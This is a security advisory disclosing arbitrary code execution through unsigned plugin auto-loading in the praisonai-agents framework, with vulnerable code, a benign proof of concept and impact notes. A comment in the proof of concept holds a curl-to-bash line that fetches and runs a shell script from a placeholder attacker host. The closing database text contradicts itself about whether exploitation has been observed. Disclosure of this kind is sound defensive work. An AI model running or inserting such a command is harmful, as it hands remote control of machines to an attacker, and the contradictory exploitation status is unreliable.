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GHSA-m6wp-h223-4c8g
Summary
The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # Executes arbitrary Python code
if hasattr(module, "create_plugin"):
return module.create_plugin() # Calls arbitrary function
src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
PoC
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')
# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"
Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.
Impact
- Arbitrary code execution: Any
.pyfile in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization
- Persistence: A planted plugin survives restarts and executes every time the framework starts
- Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely
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The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2026-61446Alias
- EUVD-2026-44646Alias
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